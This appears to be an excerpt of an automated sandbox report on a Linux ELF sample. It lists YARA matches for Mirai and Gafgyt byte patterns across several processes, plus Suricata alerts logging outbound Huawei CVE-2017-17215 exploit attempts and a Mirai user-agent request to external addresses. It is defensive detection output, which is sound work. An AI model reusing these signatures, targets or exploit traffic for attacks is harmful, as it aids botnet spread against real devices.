0xcaac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcac0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcad4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcae8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcafc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb24:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb38:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb4c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcbb0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcbc4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: sh4.elf PID: 5525	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xd2f1:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: sh4.elf PID: 5526	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: sh4.elf PID: 5526	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x44dd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x44f1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4505:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4519:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x452d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4541:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4555:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4569:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x457d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4591:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x45a5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x45b9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x45cd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x45e1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x45f5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4609:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x461d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4631:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4645:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4659:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x466d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: sh4.elf PID: 5526	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x4d9a:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: sh4.elf PID: 5531	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: sh4.elf PID: 5531	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x132f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1343:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1357:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x136b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x137f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1393:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13a7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13bb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13cf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13e3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13f7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x140b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x141f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1433:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1447:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x146f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1483:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1497:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: sh4.elf PID: 5531	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x1bec:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: sh4.elf PID: 5534	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: sh4.elf PID: 5534	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x10e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1108:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x111c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1130:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1144:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1158:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1180:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1194:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x120c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1220:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1234:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1248:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x125c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1270:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: sh4.elf PID: 5534	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x199d:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: sh4.elf PID: 5540	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: sh4.elf PID: 5540	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x123c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1250:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1264:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1278:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x128c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1304:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1318:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x132c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1340:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1354:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1368:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x137c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1390:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: sh4.elf PID: 5540	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x1af9:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: sh4.elf PID: 5541	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: sh4.elf PID: 5541	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1f3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fa0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ff0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2004:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2018:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x202c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2040:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2054:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2068:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x207c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2090:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: sh4.elf PID: 5541	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x27f9:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: sh4.elf PID: 5683	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: sh4.elf PID: 5683	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf9f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfaac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfac0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfad4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfae8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfafc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb24:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb38:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb4c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: sh4.elf PID: 5683	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x102b5:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: sh4.elf PID: 5706	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: sh4.elf PID: 5706	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x8fe9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8ffd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9011:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9025:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9039:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x904d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9061:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9075:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9089:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x909d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x90b1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x90c5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x90d9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x90ed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9101:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9115:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9129:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x913d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9151:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9165:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9179:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: sh4.elf PID: 5706	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x98a6:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Click to see the 70 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T19:48:58.281907+0100	2835222	1	A Network Trojan was detected	192.168.2.15	38112	157.230.45.210	37215	TCP
2025-02-19T19:49:02.652385+0100	2835222	1	A Network Trojan was detected	192.168.2.15	57224	157.44.119.96	37215	TCP
2025-02-19T19:49:02.652385+0100	2835222	1	A Network Trojan was detected	192.168.2.15	37182	157.206.91.53	37215	TCP
2025-02-19T19:49:02.652388+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53714	157.96.104.228	37215	TCP
2025-02-19T19:49:02.652390+0100	2835222	1	A Network Trojan was detected	192.168.2.15	46312	157.217.20.220	37215	TCP
2025-02-19T19:49:02.652397+0100	2835222	1	A Network Trojan was detected	192.168.2.15	48516	157.223.96.78	37215	TCP
2025-02-19T19:49:02.652401+0100	2835222	1	A Network Trojan was detected	192.168.2.15	47812	197.66.19.63	37215	TCP
2025-02-19T19:49:02.652416+0100	2835222	1	A Network Trojan was detected	192.168.2.15	48536	157.239.141.134	37215	TCP

ETPRO MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T19:48:56.902626+0100	2839471	1	Web Application Attack	192.168.2.15	59352	88.34.237.117	80	TCP
